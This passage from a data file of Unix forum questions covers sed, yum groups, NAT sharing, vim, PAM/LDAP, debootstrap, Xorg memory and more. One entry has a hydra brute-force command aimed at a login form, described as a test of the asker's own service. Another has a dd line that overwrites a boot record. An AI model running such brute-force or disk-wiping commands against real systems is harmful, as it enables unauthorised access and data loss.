following in a file sed-script.txt: s/AAA01/&/p s/AAA30/&/p s/AAA10/&/p ... etc ... and then ran `sed -f sed-script.txt \"//'MVS.DATASET'\"` Again, this failed with \"sed: FSUM7294 garbage after command\". So, 1. How would one normally tackle this problem in the \"average\" Unix environment, and 2. Do you have any specific insights to this particular case?"} {"_id": "89729", "title": "Problem creating a group in a repo : \" yum-groups-manager: error: no such option: --default \"", "text": "When you run: yum groupinfo \"Desktop\" you get 3 categories.. * Mandatory Packages * Default Packages * Optional Packages This is the command I ran: yum-groups-manager -n \"Desktop\" --id=desktop --save=Desktop.xml \\ --mandatory \\ NetworkManager \\ NetworkManager-gnome \\ alsa-plugins-pulseaudio \\ at-spi \\ control-center \\ dbus \\ gdm \\ gdm-user-switch-applet \\ gnome-panel \\ gnome-power-manager \\ gnome-screensaver \\ gnome-session \\ gnome-terminal \\ gvfs-archive \\ gvfs-fuse \\ gvfs-smb \\ metacity \\ nautilus \\ notification-daemon \\ polkit-gnome \\ xdg-user-dirs-gtk \\ yelp \\ --default \\ control-center-extra \\ eog \\ gdm-plugin-fingerprint \\ gnome-applets \\ gnome-media \\ gnome-packagekit \\ gnome-vfs2-smb \\ gok \\ openssh-askpass \\ orca \\ pulseaudio-module-gconf \\ pulseaudio-module-x11 \\ rhn-setup-gnome \\ vino This is the error message: yum-groups-manager: error: no such option: --default Why would this option not be available? Because if we are to run: yum groupinfo \"Desktop\" Here is the result: Group: Desktop Description: A minimal desktop that can also be used as a thin client. Mandatory Packages: NetworkManager NetworkManager-gnome alsa-plugins-pulseaudio at-spi control-center dbus gdm gdm-user-switch-applet gnome-panel gnome-power-manager gnome-screensaver gnome-session gnome-terminal gvfs-archive gvfs-fuse gvfs-smb metacity nautilus notification-daemon polkit-gnome xdg-user-dirs-gtk yelp Default Packages: control-center-extra eog gdm-plugin-fingerprint gnome-applets gnome-media gnome-packagekit gnome-vfs2-smb gok openssh-askpass orca pulseaudio-module-gconf pulseaudio-module-x11 rhn-setup-gnome vino Optional Packages: sabayon-apply tigervnc-server xguest As it can be seen, there is more than just the category called \"mandatory\". There is also \"default\" and \"optional\", and yet the attempt replicate this group fails above because it won't allow \"default\" category to be placed into the group that is being created. ### UPDATE I'm using CentOS Linux 6.4 desktop"} {"_id": "89728", "title": "NetworkManager connection sharing doesn't seem to NAT packets", "text": "After setting up network sharing the easy way on the Ubuntu machine, and getting an IP address via DHCP on the Arch Linux machine downstream, the Arch machine is able to `ssh` to the Ubuntu machine and resolve DNS, but not communicate with the Internet (`ping`, `pacman` time out). From the Arch Linux machine: $ ip route show dev net0 default via 10.42.0.1 metric 202 10.42.0.0/24 proto kernel scope link src 10.42.0.15 metric 202 $ ip addr show dev net0 ... inet 10.42.0.15/24 brd 10.42.0.255 scope global net0 ... On the Ubuntu machine: $ ip addr show dev eth0 2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether e8:11:32:66:e3:4d brd ff:ff:ff:ff:ff:ff inet 10.42.0.1/24 brd 10.42.0.255 scope global eth0 inet6 fe80::ea11:32ff:fe66:e34d/64 scope link valid_lft forever preferred_lft forever $ ip addr show dev wlan0 3: wlan0: mtu 1500 qdisc mq state UP qlen 1000 link/ether 88:53:2e:1b:4b:1c brd ff:ff:ff:ff:ff:ff inet 192.168.1.64/24 brd 192.168.1.255 scope global wlan0 inet6 fe80::8a53:2eff:fe1b:4b1c/64 scope link valid_lft forever preferred_lft forever Could it be that the automatic NAT setup on Ubuntu failed? I'm not sure how that works, so how would I detect that?"} {"_id": "18185", "title": "If I have a netbook, is the output of xrandr relevant for buying a large external monitor?", "text": "I have a netbook I want to use in order to do some video editing. I am planning to buy a bigger, wider screen. Presumably even if the wider screen runs in a different resolution than my netbook screen, that should be OK. But I want to make sure that the screen I buy works well with the netbook. linux-3g16:/home/me # lspci 00:00.0 Host bridge: Intel Corporation N10 Family DMI Bridge 00:02.0 VGA compatible controller: Intel Corporation N10 Family Integrated Graphics Controller 00:02.1 Display controller: Intel Corporation N10 Family Integrated Graphics Controller linux-3g16:/home/me # xrandr Screen 0: minimum 320 x 200, current 1024 x 600, maximum 4096 x 4096 LVDS1 connected 1024x600+0+0 (normal left inverted right x axis y axis) 223mm x 125mm 1024x600 60.0*+ 800x600 60.3 56.2 640x480 59.9 VGA1 disconnected (normal left inverted right x axis y axis) So that tells me that the maximum resolution I can expect to get is 4096x4096, right? But how do I list all available display modes. The screen I want may be wider than usual."} {"_id": "18187", "title": "Select code block in vim", "text": "Given a code like this: 588 while ($linecounter > 0) { 589 $token = \" \"; 590 while ($token != PHP_EOL) { 591 if (fseek($handle, $pos, SEEK_END) == -1) { 592 $beginning = true; 593 break; 594 } 595 $token = fgetc($handle); 596 $pos--; 597 } 598 $linecounter--; 599 if ($beginning) { 600 rewind($handle); 601 } 602 } The cursor is at the character `=` in the line 590. Which is the most efficient way to select the code block: 1. lines 590-597 2. lines 591-596 (just the inner part)"} {"_id": "89724", "title": "Apache 70007 and 70014 errors", "text": "I have a service where mobile phones send a big hash of data to our server which are sitting on AWS behind the ELB. Once in a while we receive 70007 and 70014 errors in the apache error logs, the requests shows on apache access.log but not in rails logs. I'm trying to figure out what these errors are. Our Theory right now is the phone gets disconnected and it happens before the send us the requests so it never hit the rails server. Errors are the following: Unexpected error in mod_passenger: An error occurred while receiving HTTP upload data: The timeout specified has expired (70007) Unexpected error in mod_passenger: An error occurred while receiving HTTP upload data: End of file found (70014) From all the googleing I've done, This is what I've got: 70014: end of file error, which makes total sense according to our theory. 70007: Time out. I put %D on apache log format and I get the time is between 10-90 seconds. Our Apache Timeout setting is 300 seconds. Also a lot of the requests takes longer than 10 seconds and they don't time out. I also thought it could be TCP timeout, but after investigating realized the TCP timeout is et to 7200 seconds; so that's not it either. Any idea what this could be? where else I should be looking?"} {"_id": "18181", "title": "Why can't I sed two [or more..] empty lines to one empty line?", "text": "Why can't I sed two [or more..] empty lines to one empty line? What is the trick? echo -e \"hello\\n\\n\\nhello2\" | sed 's/^$\\n^$/\\n/g' hello hello2"} {"_id": "47499", "title": "Regarding generating intersection and union of two csv files", "text": "I have two csv files, there are some overlap columns between these two files. Assume one file is called as A.csv and another is called as B.csv. The intersection of A and B is called as C. I would like to generate three new csv files: C; the subset of B after subtracting C from it, which is called as D; the union of A and D, which is called as E. Are there any ways to do that in Linux/Unix using command without applying heavy weight programming languages?"} {"_id": "47498", "title": "compare two files get identical list", "text": "file1.txt (50 lines) TERYUFV00000010753 TERYUFV00000009526 file2.txt (500 lines) TERYUFV00000009526 refids_739_known_8/10_target TERYUFV00000018907 refids_12023_known_21/22_target TERYUFV00000010753 refids_11775_known_1/1_target Output.txt TERYUFV00000010753 refids_11775_known_1/1_target TERYUFV00000009526 refids_739_known_8/10_target Compare file1.txt (has 50 lines) with file2.txt (has 500 lines), get the list from file2.txt which are identical to file1.txt. I tried both join & fgrep command and it outputs empty file"} {"_id": "103112", "title": "Why are some file changes not shown in tail -f?", "text": "I tried to follow the mysql history file with: tail -f ~/.mysql_history in another window I entered as the same user: mysql -u someotheruser -p and none of the following commands are shown in my tail. when I exit the mysql console there is still nothing shown in the `tail -f`, although, when I `cat` the history file, I see, that there are new entries at the end of the file"} {"_id": "130682", "title": "What is the :0 terminal in the who command's output?", "text": "When I type `who` in my console terminal, I get the following output: hubert :0 2014-05-16 21:40 (:0) hubert pts/0 2014-05-16 21:46 (:0) From `info who` I know that both `:0` and `pts/0` should name instances of the terminal. It is clear to me what `pts/0` means but I have no idea how to interpret the first line of the output. What is even more confusing, when I type who `hubert :0`, I get: hubert pts/0 2014-05-16 21:46 (:0)"} {"_id": "72983", "title": "How can I hook functionality to the \"go to line\"-command in Vim?", "text": "I just got the idea that I wanted to make it so that Vim centered around a line when I jump to it. Is there a way to make `zz` be executed automatically after I have called the colon command followed by only digits (`:175` for example)?"} {"_id": "72982", "title": "pam ldap authentication an AWS EC2 ami (Amazon's ami)", "text": "I have some custom built instances running in AWS EC2 that are configured with ldap authentication. I have now brought up one of the AWS-provided EC2 AMIs, and am trying to configure it to work with pam authentication. This is a relatively straight forward configuration, but for some reason, pam / ldap is not working. Here's a quick summary of how I have configured the instance, anything obvious I am missing? Installed software (yum / rpm, over and above default, relevant to this setup): pam_ldap nss-pam-ldapd Configuration: /etc/ldap.conf - configured with a copy of an ldap.conf from my custom-built AMI - identical parameters. The following parameters are used (values omitted, only relevant config shown - excluding ssl / tls config stuff): uri timelimit base scope suffix ldap_version 3 binddn bindpw rootbinddn pam_filter pam_login_attribute pam_member_attribute pam_password pam_check_host_attr nss_base_passwd (x 2 of these) nss_base_shadow nss_base_group nss_base_hosts nss_initgroups_ignoreusers /etc/nsswitch.conf passwd: files ldap shadow: files ldap group: files ldap /etc/openldap/ldap.conf URI ldap://my-ldap-server BASE dc=organization,dc=com /etc/pam_ldap.conf - this file is only on the AWS-provided AMI. I copied the config from /etc/ldap.conf to this file to try get things working /etc/pam.d/system-auth (showing context of +1 and -1 lines. Added lines indicated with a \"+\"): auth sufficient pam_unix.so nullok try_first_pass + auth sufficient pam_ldap.so use_first_pass auth requisite pam_succeed_if.so uid >= 500 quiet account sufficient pam_localuser.so + account [default=bad success=ok user_unknown=ignore] pam_ldap.so account sufficient pam_succeed_if.so uid < 500 quiet password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok + password sufficient pam_ldap.so use_authtok password required pam_deny.so session required pam_limits.so + session optional pam_mkhomedir.so skel=/etc/skel umask=0077 session [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid session required pam_unix.so + session optional pam_ldap.so To test, I try `getend passwd` or `getent group` and don't see any of my ldap- based entries. any ideas as to where I am going wrong? /var/log/messages and secure don't give any indication of errors."} {"_id": "138933", "title": "Concatenate in a PDF the first page of several odt files alphabetically", "text": "I have, in the same directory, several odt files. I'd like to have in one PDF document the first page of these odt files, sorted alphabetically based on their filename. For example, if I have these files: * `a.odt` * `b.odt` * `c.odt` I would have a resulting PDF that has 3 pages: the first one of `a.odt`, then the first one of `b.odt` and then the first one of `c.pdf`. Does any one of you think about a command to do that?"} {"_id": "103114", "title": "What do the fields in ls -al output mean?", "text": "The `ls -al` command shows the following output; -rwxrw-r-- 10 root root 2048 Jan 13 07:11 afile.exe What are all the fields in the preceding display?"} {"_id": "72986", "title": "how to mirror four monitors with 2 nvidia cards on debian?", "text": "I have 2 nvidia GeForce GT 610 video cards with 2 monitors plugged to each one of them. I can mirror the A and B and C to D but I want them all to show A. pleas help =)"} {"_id": "72989", "title": "Special character '#' in Perl SSH command", "text": "I try to send command using SSH in my perl script with # but it gets truncated right at # Example: Input text is : $message = \"Product ID # STK000134\" The SSH command is : $execute=`ssh -q id@host /usr/message/send -pin $pager_num -message $message`; What pass through is : ssh -q id@host /usr/message/send -pin $pager_num -message Product ID Instead of : ssh -q id@host /usr/message/send -pin $pager_num -message Product ID # STK000134 How to I ensure that # and all text behind # will get through?"} {"_id": "72988", "title": "Why don't Linux terminal emulators support full colors?", "text": "I just upgraded my gnome-terminal to use 256 colors, yet I am a bit puzzled on the reason why a terminal emulator can't support the full palette any modern desktop environment provides. I guess there's a technical reason for this, but I am not aware of it."} {"_id": "31288", "title": "Avoid reformatting bullet lists with formatoptions+=a", "text": "I am using Vim with `formatoptions +=a` as described in Vim: word wrap for documents to format lines automatically while I write documents, expecially Markdown documents. My problem is that Vim wants to reformat also bullet lists because there is blank line between each bullet point. What happes is that vim reformats This is wath we will do: * task 1, * task 2, * task 3. into This is wath we will do: * task 1, task 2, task 3. (I also do not understand why the asterisks disappear in this reformatting process.) How can I make Vim stop reformatting these lists?"} {"_id": "519", "title": "Where to start to learn OpenGL", "text": "As OpenGL evolves, it seems that there are three camps: * OpenGL legacy, packed with \"deprecated APIs\" * OpenGL ES, for embedded systems * OpenGL \"new stuff\" which comes out every couple of months. If I wanted to learn OpenGL for modern systems, where should I start? And most importantly, is there a reason to go beyond OpenGL ES for someone that has never done OpenGL before?"} {"_id": "518", "title": "Accessing a remote OSX system from OSX, Linux, Windows", "text": "Is it possible to connect to a remote OSX machine using OSX, Linux or Windows in a way similar to Windows' remote desktop?"} {"_id": "137220", "title": "256 Colors in xterm and tmux [in FreeBSD 10]", "text": "So these past few days I am working to make Xterm and tmux show all the 256 colors available in them by default. I reach these conclusions: * for tmux to show 256 colors you have to make xterm to show it. * `export TERM=xterm-256color` in `~/.bashrc` make xterm to show all 256 color. but this is problematic; when you do that you set the whole terminal to xterm and even urxvt will report back its **$TERM** as Xterm not `rxvt-unicode-256color`. So I am looking for the way to just target the xterm. and leave other terminal emulators alone. PS: I had the same problem ith Urxvt but I solved it by tweaking its Makefile and removed `\\--with-rxvt`"} {"_id": "137225", "title": "Dovecot: Corrupted index cache file", "text": "I received following error message in `/var/mail/mail.err`: Jun 14 00:03:42 max dovecot: IMAP(bernhard): Corrupted index cache file /home/bernhard/Mail/.indexes/.imap/INBOX/dovecot.index.cache: Broken virtual size for mail UID 5618 What is the preferred way to restore the index?"} {"_id": "83092", "title": "debootstrap error in Ubuntu 13.04 raring", "text": "I'm trying to create a file system in Ubuntu with the command: sudo debootstrap --foreign --no-check-gpg --include=ca-certificates --arch=armhf testing rootfs http://debian.raspbian.com/debian but it got the following error: /usr/sbin/debootstrap: 1294: /usr/sbin/debootstrap: cannot create /home/.../rootfs/test-dev-null: Permission denied E: Cannot install into target '/home/.../rootfs' mounted with noexec or nodev can anyone help me here?"} {"_id": "83091", "title": "vaio grub removal after default windows setup", "text": "After installing default factory windows xp from VAIO VGN-NR, and hence removing the Ubuntu on its hard drive, the grub does not allow the windows to boot up properly, giving the prompt: \"no such partition\" and grub rescue appears. The Windows can not be recovered by rescue mode, since the administrator password of newly installed default windows (from hidden drive on the laptop) is not known to me. Booting up with live-Ubuntu and trying to erase the MBR did not help a bit. dd if=/dev/null of=/dev/sdX bs=446 count=1 I can simply install another windows on it, fixmbr and fixboot it and re- install the original factory windows. But I'm not like that. I want to find a way through, not around. Any suggestion?"} {"_id": "83096", "title": "What is the difference between `/sbin/ip route` and `/sbin/route`?", "text": "Linux comes with two utilities * `/sbin/route` * `/sbin/ip route` What is the difference between the two and what is the rule of thumb to use when you decide which one of the two you should use? I know they're both documented in two separate locations, * `man 8 route` * `man 8 ip-route`"} {"_id": "517", "title": "What is the architecture of Mac OS X's windowing system?", "text": "I am familiar with how the X11 system works, where clients connect via a socket to the server process and send operations to the window server to perform certain operations on their behalf. But I do not understand (and I could not find good documents) describing how a GUI application interacts with the window system on Mac OS X. Some of the questions that I have include: * How does an app receive events from the windowing system? * Does the app need to register with the kernel, or some windowing system server? * How does the windowing system request that an app update its display? * How does an app trigger a re-display operation? * Is there a socket-based protocol, or some other RPC system to the windowing system? * Does the windowing system, or the application, have direct hardware access? * What are the operations available between client apps and the windowing system?"} {"_id": "83094", "title": "Unix sed command to find multiple string patterns", "text": "Scenario here is I need to replace `\"$$file_name=\"` value.. I have some 150 file names in a file as mentioned below.. Eg: $$file_name=abc.bbb.ccc to_be ---> $$file_name=abc.bbb.cccV1 AS_IS : $$a=abc.txt $$file_name=abc.ddd.aaa $$directory=/uasdua/asdsas $$a=c.txt $$file_name=ac.dd.ac $$directory=/uasdua/asdsas $$a=b.txt $$file_name=ee.d.a $$directory=/uasdua/asdsas . . . . . . $$a=b.txt $$directory=/uasdua/asdsas $$file_name=e.d.a to_be: $$a=abc.txt $$file_name=abc.ddd.aaaV1 $$directory=/uasdua/asdsas $$a=c.txt $$file_name=ac.dd.acV1 $$directory=/uasdua/asdsas $$a=b.txt $$file_name=ee.d.aV1 $$directory=/uasdua/asdsas . . . . . . $$a=b.txt $$directory=/uasdua/asdsas $$file_name=e.d.aV1 This is what i've tried select NAME from xxx where DATE='07/12/1999' > Name_file #version will be same for that day FILE_VERSION=`db2 -x \"select version from xxx where DATE='07/12/1999'\"` > version_name FILE_VER=`cat version_name | head -1` while read filename do FILE_NAME1=`echo ${filename}${FILE_VER}` sed -f pattern.txt input > output done < file_name11 * * * pattern.txt echo \"$filename\" echo \"$FILE_NAME1\" s/${filename}/${FILE_NAME1}/g ---> If I hardcode this one its not working..the value is not replaced.. s/ee.d.a/ee.d.aV1/g --> this is working Do i need to explictly pass it..I have 150 such file names in a file ? * * *"} {"_id": "136570", "title": "PHPStorm Only runs on Gnome or KDE", "text": "Does anyone know why it is so? I was using unity... then i switched to LXDE and it wont run. I checked the requirements and it turned out that it requires either GNOME or KDE. So what exactly is it that the 2 DEs offer that LXDE and the others dont? what makes it compatible with gnome and kde but not with the others?"} {"_id": "136571", "title": "Why beep does not work in Ubuntu?", "text": "I've tried the below shell, but nothing happened. #! /bin/sh beep -f 500 -l 700 beep -f 480 -l 400 beep -f 470 -l 250 beep -f 530 -l 300 -D 100 beep -f 500 -l 300 -D 100 beep -f 500 -l 300 beep -f 400 -l 600 beep -f 300 -l 500 beep -f 350 -l 700 beep -f 250 -l 600 I issued the following command in terminal, but again nothing happened: beep What am I doing wrong? Is there something here that I'm missing? tnx. **EDIT:** Out put of `sudo modprobe pcspkr -vvv`: libkmod: DEBUG ../libkmod/libkmod-module.c:519 kmod_module_new_from_lookup: input alias=pcspkr, normalized=pcspkr libkmod: DEBUG ../libkmod/libkmod-module.c:525 kmod_module_new_from_lookup: lookup modules.dep pcspkr libkmod: DEBUG ../libkmod/libkmod.c:542 kmod_search_moddep: use mmaped index 'modules.dep' modname=pcspkr libkmod: DEBUG ../libkmod/libkmod.c:390 kmod_pool_get_module: get module name='pcspkr' found=(nil) libkmod: DEBUG ../libkmod/libkmod.c:398 kmod_pool_add_module: add 0xb8adf2b8 key='pcspkr' libkmod: DEBUG ../libkmod/libkmod-module.c:184 kmod_module_parse_depline: 0 dependencies for pcspkr libkmod: DEBUG ../libkmod/libkmod-module.c:546 kmod_module_new_from_lookup: lookup pcspkr=0, list=0xb8adf340 libkmod: DEBUG ../libkmod/libkmod-module.c:435 kmod_module_unref: kmod_module 0xb8adf2b8 released libkmod: DEBUG ../libkmod/libkmod.c:406 kmod_pool_del_module: del 0xb8adf2b8 key='pcspkr' libkmod: INFO ../libkmod/libkmod.c:319 kmod_unref: context 0xb8adf140 released"} {"_id": "132051", "title": "Returning only the portion of a line after a matching pattern (Unix)", "text": "I have a parent folder (abeps) which contains several sub folders (1,2,3....25) where output file is located, one in which - all are the same name (opt.out). In this files there is an unpredictable output. This is an example of a line that I need to filter: > A\\HF=-1378.9118397\\RMSD=4.560e-09\\RMSF=1.758e-05\\Dipole=0.2110167,0.39 or > 978,3.8529967641,3.6669041122\\Version=ES64L-G09RevD.01\\State=1-A\\HF=- so the thing is I'm interested in getting everything in between \\HF= and till \\ But they could be on different lines and even HF could be on different lines. So grep wont catch it. Then I tried to write result in a file grep 'HF=-' abeps/*/opt.out > data and as result get this > abeps/10/opt.out: 1-A\\HF=-1378.9114895\\RMSD=5.126e-09\\RMSF=5.036 > > abeps/12/opt.out: \\State=1-A\\HF=-1378.9185518\\RMSD=2.940e-09\\RMSF > > abeps/13/opt.out: 33413\\Version=ES64L-G09RevD.01\\State=1-A\\HF=-137"} {"_id": "132050", "title": "XBMC crash after selecting \"play\". Ubuntu 14.04 and 13.0 gotham. Link to crashlog", "text": "I have a brand new machine with fresh install of Ubuntu 14.04 and I'm trying to run Gotham 13.0 on it. I've already added the restricted multimedia codecs (just in case) to Ubuntu. sudo apt-get install ubuntu-restricted-extras As well as Unrestricted LibavCodec sudo apt-get install libavcodec-extra My graphics is AMD/ATI Tahiti (Radeon HD 7970) with a core i7. Here's the XBMC crashlog: http://xbmclogs.com/show.php?id=209365 Here's what's happening: I just download the appropriate PPA's etc. through the XBMC wiki. sudo add-apt-repository ppa:team-xbmc sudo apt-get update sudo apt-get install xbmc The first time I installed it on this machine, I went through installed Fusion and ran the Hub wizard Template/Setup. Everythings seems good, but when I select Al Jazeera, for example, I click \"watch live\", and then I get the \"working\" scroll in the bottom right for few seconds, and then the entire program force closes. The same happens with \" The Daily Show\" \"Youtube\" \"UsTv Now\" etc. I completly uninstalled XBMC sudo apt-get purge xbmc xbmc-standalone and started over. This time only installing one add on and trying it out. Still I get the same results. The music add-ons work though. I have this posted a few days on XBMC forums, and no replies yet. I'm not sure if this is an Ubuntu or XBMC issue ,at this point. ![enter image description here](http://i.stack.imgur.com/7y0qj.png)"} {"_id": "136574", "title": "hydra verification before stopping", "text": "I am getting false positives when I try a penetration test on my local service with `hydra`: hydra -l admin -x 1:8:1 -t 1 -f -vV 127.0.0.1 http-form-post '/login.php:username=^USER^&password=^PASS^:Bad password' I guess due to the fast rate of requests sometimes my server doesn't deliver the whole page and the part with \"Bad password\" is missing, so hydra thinks the password worked. Is there a way to tell hydra to verify the password and try it several times with success before stopping the whole pentest? * * * A solution I could imagine: you could write a loop somehow, that stores away the hydra.restore file often, and then if a solution is found try again with that solution and if it doesn't work start over at the point in the wordlist where you stopped - unfortunately the restore file is gone as soon as a solution seems to be found"} {"_id": "132056", "title": "Linux ssh launching GUI application and leaving it running?", "text": "I have `ssh` access to my own server with Ubuntu 13.10 on it installed. Via `ssh` I can launch GUI applications using this approach: $ ssh -X my_login@address_of_sever After that I can start any application by name, e.g. `gedit`, `firefox`, `google-chrome`, and it will be opened on my client machine (just the window, actually application works on the remote machine - i.e. on server). This is all fine. But when I close the GUI application on the client machine it gets closed on the server too (it seems to be legit). I can launch console applications using commands such as: $ nohup php somefile.php & and it will continue working after closing the connection. I wonder, is it possible to do the same with GUI application? Ideally it would be if it were possible to move opened window to server and take it back to client when it's necessary to see what is happening there, some kind of switching perhaps?"} {"_id": "154306", "title": "How to use awk through multiple files?", "text": "I want a solution for the general case (N folder) I'm using awk to process a file and extract its content and put it in a variable then echo it: This is the file: H1 H2 H3 H4 H5 H6 H7 H8 H9 not important not not This is the code: $value1=awk '/H1/ { print $1}' file $value2=awk '/H1/ { print $2}' file $value3=awk '/H1/ { print $3}' file echo $value1 echo $value2 echo $value3 I get the result: H1 H2 H3 My question if I have multiple files with the same format (not the exact content, the same format) with the file and which is located in different folders but the same name: /folder1 file /folder2 file /folder3 file How can I echo the first 3 values of the H1 line but from each file in those folders so I get 9 results?"} {"_id": "132054", "title": "Automatically detect when a file has reached a size limit", "text": "I would like to send an email when a file reach a certain size limit. The only way I thought of doing this is by doing a cronjob which will check the file size and send the email if the file is bigger than the desired size. However, it seems like a bad solution for me to add a cronjob which would check ,for example every 15-30 min, the size of a file? I was wondering if there is a better way of doing this to automatically detect when the file is appended some text (event?) so I could then check the size and do the desired treatment."} {"_id": "136579", "title": "Mint 17 boots to Welcome screen, but desktop is blank", "text": "I'm running Mint 17 Qiana MATE on a HP250 G laptop with 4GB of RAM and Intel on-board graphics. The host OS is Mint and Windows XP runs as guest using VirtualBox with 1GB RAM and 20GB reserved hard drive space. After working normally for a few days, the final boot process suddenly failed as follows: The laptop boots normally to the login screen, after logging in the Welcome window appears normally but with a blank (grey) desktop behind it. I can start Firefox or HexChat from the Welcome screen and both of these display normally, but I can't see a way to open Terminal. Where should I go from here? Should I boot from the LiveCD and try to fix it from there? I'm not sure what I did last to cause the problem, perhaps a file became corrupted? I don't have any backups as I was still getting started with my new laptop when this happened. Further information: I started Terminal using CTL+ALT+F1 at the login screen. Looking at bash_history shows that I probably killed the desktop with the following commands: sudo apt-get install openbox openbox --reconfigure Typing startx only gets me the blank desktop with the Welcome window again. Is this problem reversable?"} {"_id": "132059", "title": "Can the /home folder in Linux contain anything else but user folders?", "text": "Can the /home folder contain anything else but user folders? I have a folder I want to share between Windows and Arch - can it go in the home folder under a name not belonging to any existing user? E.g. /home |-/james (my home folder) |-/shared (folder I want to share)"} {"_id": "132058", "title": "Installing and setting the default desktop environment in Debian", "text": "I recently installed Debian wheezy in my laptop using Debian netinst iso image. I would like to install latest gnome desktop environment but mistakenly downloaded the net installation iso and I also installed it in my system. So, is there any way to install and **automatically load gnome** without logging in and typing in the command `startx` each time to start the gnome environment? Or, is it better to download and install a live iso?"} {"_id": "33492", "title": "Fedora 15: em1 recently dissapeared and hostapd no longer serves internet to wirelessly connected devices", "text": "I have a laptop running hostapd, phpd, and mysql. This laptop uses an Ethernet connection to connect to the internet and acts as a wireless access point for my workplace's wifi devices. After installing some software and reconnecting my Ethernet elsewhere, my \"em1\" device is no longer present and wirelessly connected devices can no longer reach the internet. The software I recently installed is: pptp, pptpd, and updated some fedora libraries. I have also recently moved my desk and laptop to another location and thus had to reconnect the Ethernet elsewhere. Wifi devices no longer have access to the internet. Wirelessly connected devices are able to successfully log into the laptop, showing full strength, correct SSID, and uses the proper password. However, when I tried to connect to a site like google, the request times out. The device \"em1\" also no longer appears on my machine. Running: `# ifup em1` will give me the following output: `ERROR : [/etc/sysconfig/network- scripts/ifup-eth] Device em1 does not seem to be present, delaying initialization.` And running: `# dhclient em1` has the following output: `Cannot find device \"em1\"` When I run `# dmesg|grep renamed`, I get the following: `renamed network interface eth0 to p4p1`. I've tried to connect to the internet through p4p1 and was successful. However, my wireless devices connected to my laptop are no longer able to connect to the internet. I have uninstalled pptp and pptpd using `# yum erase ...` but the problem still persists. To install pptp I used: `# yum install pptp` To install pptpd I did the following: # rpm -Uvh http://poptop.sourceforge.net/yum/stable/fc15/pptp-release-current.noarch.rpm # yum install pptpd To update my fedora libraries I used: # yum check-update # yum update EDIT: Running `# route` produces the following results: Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default 10.11.200.1 0.0.0.0 UG 0 0 0 p4p1 10.11.200.0 * 255.255.252.0 U 0 0 0 p4p1 172.16.100.0 * 255.255.255.0 U 0 0 0 wlan0"} {"_id": "87732", "title": "Linux reboot out of memory", "text": "I have a server with Intel(R) Atom(TM) CPU D525 and 1 GB memory. I noticed the server would shut down and restart automatically about every 7 days. I checked the memory usage and found that when the memory usage reached 90%, the kernel reboots. When I checked the kernel log in `/var/log/messages` file, I didn't find anything about the kernel shutting down, just a message about the kernel start. I checked the file `/proc/sys/vm/min_free_kbytes`, the value is \"3765\". * * * I guess when the available memory is very low, but doesn't get to the number the system starts reclaiming memory. Then the kernel can't do anything, so it then reboots. Can you give me some insight?"} {"_id": "15006", "title": "Can rpm handle an install of another OS into another Logical Volume?", "text": "I am trying to install fedora as a `domU` under a CentOS `dom0` using the method outlined in The Book of Xen. I have asked another question regarding a consistent error message of cpio: Bad magic when I try to run the rpm command on a fedora-release-15.1 rpm. That tutorial actually goes through an install of CentOS 5.2 into the logical volume. If I run `wget` on a similar CentOS install `rpm` then run the `rpm -i` command (as outlined) it works fine. So what is it about rpm and fedora under CentOS 5.6 that would cause an issue? running the `\\--test` option returns the following: [root@localhost fedRoot]# rpm -ivh --test --root /mnt/fedRoot fedora-release-15-1.noarch.rpm warning: fedora-release-15-1.noarch.rpm: Header V3 RSA/SHA256 signature: NOKEY, key ID 069c8460 error: Failed dependencies: fedora-release-rawhide = 15-1 is needed by fedora-release-15-1.noarch rpmlib(FileDigests) <= 4.6.0-1 is needed by fedora-release-15-1.noarch rpmlib(PayloadIsXz) <= 5.2-1 is needed by fedora-release-15-1.noarch What do these failed dependencies mean? Is it even possible to do what I am trying to do (install fedora on a separate LV in an active CentOS system)? Is it possible to update these dependencies in my system? or is it time to call it quits on this particular path..."} {"_id": "6533", "title": "Is there an easy way to update information in known_hosts when you know that a hosts key has changed?", "text": "If a host's operating system has been re-installed and had its public key regenerated sshing to it will of course fail because the new key doesn't match the old one. Is there an easier way to tell ssh that you know that the host's key has changed and that you want it to be updated. I think it feels a bit error-prone to use a text editor or something like sed to remove the offending line."} {"_id": "6530", "title": "Distributed package repository for Linux?", "text": "Many times I have seen the note telling users not to update their repositories too often (i.e more than once a day) because that will put a stress too large for the servers. Also I understand that it takes monstrous machines for such repositories. I am wondering if there is something like BitTorrent for package management? Or if there isn't, is it feasible to have such a system? (I'm thinking about a system where each user keeps the packages that they have and serve it in the same fashion as BitTorrent.)"} {"_id": "87735", "title": "What exactly do we mean when we say we are using Linux?", "text": "I was going through an article on GNU which goes something like below > There really is a Linux, and these people are using it, but it is just a > part of the system they use. Linux is the kernel: the program in the system > that allocates the machine's resources to the other programs that you run. > The kernel is an essential part of an operating system, but useless by > itself; it can only function in the context of a complete operating system. > Linux is normally used in combination with the GNU operating system: the > whole system is basically GNU with Linux added, or GNU/Linux. All the so- > called \u201cLinux\u201d distributions are really distributions of GNU/Linux. I always thought Linux as a kernel and Operating System but it looks like Linux = Linux kernel and GNU OS. Could someone point out the exact functionality of each in the \"Linux\" terminology we use in our day to day life. Also, according to the wiki, GNU's design is Unix-like but differs from Unix by being free software and containing no Unix code. I thought Unix is opensource. Isn't it?"} {"_id": "14116", "title": "gksudo not caching credentials", "text": "I've built a shell script for mounting ISO images in Nautilus, and it worked fine in earlier versions of Ubuntu. One of the many problems encountered in 11.04 is that `gksudo` doesn't seem to cache the credentials - There are three commands in the script which need to be run as root, but now for every command I get prompted for a password. Sudo privileges are cached when using plain `sudo`, so why not with `gksudo`?"} {"_id": "6538", "title": "xorg memory leaks", "text": "On my desktop Xorg leaks a lot of memory. I use to let this machine on for days (weeks, months ...), but about once a week I'm forced to restart xorg, because it is taking too much memory. Am I the only one affected by this issue? Why does this is happen? Is it xorg to be _bugged_ , or is it something else (maybe some xorg modules)? Can I do anything to avoid it? * * * Some more infos: I'm on ArchLinux, kernel 2.6.36, nvidia drivers 260.19.36, gnome 2.32.1. Anyway I've got this issue from a lot of time, like more than one year. * * * Here is how the Xorg process is shown by top after about 9 days of uptime... PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1591 root 20 0 278m 229m 9364 S 2 11.8 244:38.73 Xorg I've got only a few open windows. 229MB of resident memory looks like a lot to me (and it will keep growing with time). As soon as I reboot Xorg I'll also add process stats at the beginning of its life. * * * Here 